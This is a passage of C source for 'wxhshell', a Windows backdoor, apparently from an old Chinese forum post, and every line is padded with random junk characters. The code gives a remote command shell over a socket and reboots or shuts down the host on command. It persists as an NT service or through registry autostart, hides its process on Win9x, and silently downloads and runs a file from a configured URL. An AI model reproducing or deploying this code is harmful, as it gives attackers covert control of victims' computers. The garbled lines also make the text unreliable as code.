  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q96g7[  
  } (a^F`#]  
  else { 6bHj<6>MX  
.*Hv^_  
    switch(cmd[0]) { A]H+rxg  
  ^<y$+HcH  
  // 帮助 < "~k8:=4  
  case '?': { Jc:G7}j6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PU -~7h+$  
    break; l_,8_u7G  
  } P92:}" )*>  
  // 安装 g^0  
  case 'i': { )s6tj lf8  
    if(Install()) ;P2~cQjD;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jt)<RMQ^R  
    else !^8'LMY<I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #e8CuS  
    break;  K[?wP>s  
    } FfD2 &(-R  
  // 卸载 Llk`  
  case 'r': { HnY: gu  
    if(Uninstall()) 3_33@MM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^xqh!  
    else c#Y9L+O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u{H_q&1  
    break; |ZZ3Qr+%S  
    } &Q&$J )0  
  // 显示 wxhshell 所在路径 )9<)mV*EB(  
  case 'p': { "UA W  
    char svExeFile[MAX_PATH]; X(WG:FP27  
    strcpy(svExeFile,"\n\r"); 6?,r d   
      strcat(svExeFile,ExeFile); ~)ByARao=  
        send(wsh,svExeFile,strlen(svExeFile),0); q5HHMHB  
    break; OmoY] 8N}  
    } Q'A->I<;_s  
  // 重启 O$&p<~  
  case 'b': { n"dT^ g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V).M\  
    if(Boot(REBOOT)) .pdgRjlSn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nm; ka&'  
    else { Q2fa]*Z5  
    closesocket(wsh); MaMs(  
    ExitThread(0); C}00S{nAZ  
    } <?Lj!JGX  
    break; aX~iY ~?_  
    } Eydk64 5:3  
  // 关机 lcUL7  
  case 'd': { #a .aD+d'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #vDe/o+=  
    if(Boot(SHUTDOWN)) ]]7s9PCN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CX1'B0=\r  
    else { 'E7|L@X"r  
    closesocket(wsh); \7/xb{z|  
    ExitThread(0); DAvAozM  
    } 9k *'5(D4S  
    break; }RyYzm2  
    } UhEnW8^bz1  
  // 获取shell 3b[_0  
  case 's': { FijzO  
    CmdShell(wsh); >G-D& A+  
    closesocket(wsh); a{-}8f6  
    ExitThread(0); |bBYJ  
    break; ZAiQofQ:2  
  } ]0O pd9  
  // 退出 &j>`H:  
  case 'x': { P"xP%zqo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O^IpfS\/  
    CloseIt(wsh); R_H di~ k  
    break; )?_c7 R  
    } W}Z|v M$  
  // 离开 s+(8KYTs`  
  case 'q': { VTV-$Du[}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H~$a6T"&  
    closesocket(wsh); U| y+k`  
    WSACleanup(); 7%?A0%>6G  
    exit(1); '7E?|B0],  
    break; icnp^2P  
        } $:<KG&Br  
  } #=zh&`  
  } U9;AU] A  
Uq[NO JC  
  // 提示信息 H>W A?4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gb MSO  
} zx\?cF  
  } YxsW Y7J  
g@S"!9[;U  
  return; l9SbuT$U  
} hx:x5L>  
^c-1w V` /  
// shell模块句柄 v4 c_UFEh<  
int CmdShell(SOCKET sock) TYB^CVSZ  
{ ~A6QX8a  
STARTUPINFO si; M~wJe@bc  
ZeroMemory(&si,sizeof(si));  o,X ?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FfP Ce5)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8-po|  
PROCESS_INFORMATION ProcessInfo; PR.?"$!D{  
char cmdline[]="cmd"; jT'1k[vJj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hDfsqSK0 /  
  return 0; cQN}z Ke  
} ;up89a-,9  
Z,Q)\W<'-  
// 自身启动模式 R[Pyrs!H  
int StartFromService(void) q,+d\-+  
{ _STN^   
typedef struct P/0n) Q  
{ ^Dd$8$?[  
  DWORD ExitStatus; mF#{"  
  DWORD PebBaseAddress; ~xzRx$vU  
  DWORD AffinityMask; ^OYar(  
  DWORD BasePriority; \f%jN1z  
  ULONG UniqueProcessId; ~I!7]i]"*?  
  ULONG InheritedFromUniqueProcessId; nKV1F0-  
}   PROCESS_BASIC_INFORMATION; vu1F  
O[q {y  
PROCNTQSIP NtQueryInformationProcess; dx:],VB  
6R#f 8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -x7b6o>$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [['un\~r~  
&{"aD&  
  HANDLE             hProcess; ;JDxl-~  
  PROCESS_BASIC_INFORMATION pbi; MT|}[|_  
9r8*'.K`Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q7f\ 5QjT  
  if(NULL == hInst ) return 0; gP)g_K(e  
DmPp&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K~C*4H:9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); elw<(<u`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z9TG/C,eo  
Rl-Sr  
  if (!NtQueryInformationProcess) return 0; @-)?2CH[8  
>Ei_##  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Yx?75/  
  if(!hProcess) return 0; CYs:P8^  
MSsboSxA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ] S]F&B M|  
7pmhH%Dn$  
  CloseHandle(hProcess); vB KBMnSd  
ZOfyy E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); - x@mS2  
if(hProcess==NULL) return 0; kcI3pmgj  
Oe*emUX7  
HMODULE hMod; EubF`w$KWX  
char procName[255]; .J'}qkz~  
unsigned long cbNeeded; T/uj5pMG  
 Wu9@Ecb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yp_:] RE  
(B]rINY|  
  CloseHandle(hProcess); k)dLJ<EM  
OZs^c2 W  
if(strstr(procName,"services")) return 1; // 以服务启动 t-i;  
KR%DpQ&{'  
  return 0; // 注册表启动 @'s^  
} fD]}&xc  
WFULQQ*  
// 主模块 j8L!miv6  
int StartWxhshell(LPSTR lpCmdLine) eDgRYa9\  
{ vG69z&  
  SOCKET wsl; pjWqI 6,  
BOOL val=TRUE; LZ}C{M{=5A  
  int port=0; tLJ"] D1w  
  struct sockaddr_in door; 9 }jF]P*Q  
>2,x#RQs  
  if(wscfg.ws_autoins) Install(); ON\_9\kv  
tJ i#bg%  
port=atoi(lpCmdLine); pQ!NhzQ  
[n44;  
if(port<=0) port=wscfg.ws_port; xP "7B9B  
-]\UFR  
  WSADATA data; v:nm#P%P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;1A4p`)  
yk,o*g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ehV`@ss  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V31<~&O~%  
  door.sin_family = AF_INET; kR3g,P{L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VkZrb2]v  
  door.sin_port = htons(port); 4(f[Z9 iZ]  
db'Jl^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zchs/C 9{  
closesocket(wsl); 2X!O '  
return 1; {'NdN+_C  
} K}L-$B*i  
bb`GV  
  if(listen(wsl,2) == INVALID_SOCKET) { {.K >9#^m  
closesocket(wsl); 'C)`j{CS  
return 1; Om,+59ua*  
} !MOVv\@O  
  Wxhshell(wsl); hjtkq .@  
  WSACleanup(); #qtAFIm'  
a4Qr\"Qm  
return 0; ,|<2wn#q  
4RGEg;]S  
} @bSxT,2  
{m.l{<H  
// 以NT服务方式启动 $h"tg9L^)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?~Fk_#jz,@  
{ LJt#c+]Li  
DWORD   status = 0; hOx'uO`x(  
  DWORD   specificError = 0xfffffff; & gnE"  
, `ST Va-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *BF5B\[r?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uQ=p } w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dgh )Rfp3  
  serviceStatus.dwWin32ExitCode     = 0; Y!N *J  
  serviceStatus.dwServiceSpecificExitCode = 0; M{<cqxY  
  serviceStatus.dwCheckPoint       = 0; BqC!78Y/e  
  serviceStatus.dwWaitHint       = 0; w]J9Kv1)-  
GsA/pXx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XCc /\  
  if (hServiceStatusHandle==0) return; jeXv)}  
1JM EniB+9  
status = GetLastError(); p%pM3<p  
  if (status!=NO_ERROR) 8D@H4O.  
{ }RowAGWL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Soy!)c]  
    serviceStatus.dwCheckPoint       = 0; =i O K($  
    serviceStatus.dwWaitHint       = 0; '/trM%<  
    serviceStatus.dwWin32ExitCode     = status; B"rnSui  
    serviceStatus.dwServiceSpecificExitCode = specificError; yV,ki^^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {4SwCN /  
    return; $6e&sDJ  
  } tpOMKh.`  
O$%M.C'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $O9Nprf  
  serviceStatus.dwCheckPoint       = 0; EnnT)qos  
  serviceStatus.dwWaitHint       = 0; YBqu7&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uLX5khQ  
} l=,\ h&  
e33j&:O  
// 处理NT服务事件,比如:启动、停止 [@fw9@_'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,:Qy%k}f  
{ Fa:fBs{  
switch(fdwControl) (99P9\[p  
{ |\;oFuCv##  
case SERVICE_CONTROL_STOP: KJ M :-z@  
  serviceStatus.dwWin32ExitCode = 0; ufyqfID  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eM Ym@~4  
  serviceStatus.dwCheckPoint   = 0; Y /$`vgqs  
  serviceStatus.dwWaitHint     = 0; g`I`q3EF)  
  { 6 2GP1qH9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?a?i8rnWo  
  } J/X{ Y2f  
  return; bL soKe  
case SERVICE_CONTROL_PAUSE: onL&lE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AlT41v~6  
  break; t[*;v  
case SERVICE_CONTROL_CONTINUE: o8Vtxnkg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u>SGa @R)  
  break; exT O#*o  
case SERVICE_CONTROL_INTERROGATE: y=7WnQc  
  break; XJ,P8nx  
}; 1henQiIO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >oSNKE  
} R1OC7q  
"h?;)Ye  
// 标准应用程序主函数 {C3AxK0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q/w<>u  
{ Ja<pvb  
db#QA#^S  
// 获取操作系统版本 ]k~Vh[[  
OsIsNt=GetOsVer(); NsDJ q{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,S[,F0"%  
j}$dYbf$  
  // 从命令行安装 x dDR/KS  
  if(strpbrk(lpCmdLine,"iI")) Install(); >fHg1d2-  
&U q++f6  
  // 下载执行文件 KzD5>Xf]4$  
if(wscfg.ws_downexe) { o (fZZ`6Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g-lF{Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5y-8_)y8o  
} AKs=2N> 7  
C$Pe<C#  
if(!OsIsNt) { $Lg% CY  
// 如果时win9x,隐藏进程并且设置为注册表启动 %{qJkjG  
HideProc(); NJK?5{H'  
StartWxhshell(lpCmdLine); hpp>+=  
} hDa I@_86  
else *%< Ku&C  
  if(StartFromService()) YF/@]6j  
  // 以服务方式启动 {T|sU\|Q  
  StartServiceCtrlDispatcher(DispatchTable); ZfalB  
else [GKSQt{)  
  // 普通方式启动 Cx$C+  
  StartWxhshell(lpCmdLine); v\7k  
s 33< }O0  
return 0; rK&ofc]f$  
}
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只看该作者 1 发表于: 2006-10-10
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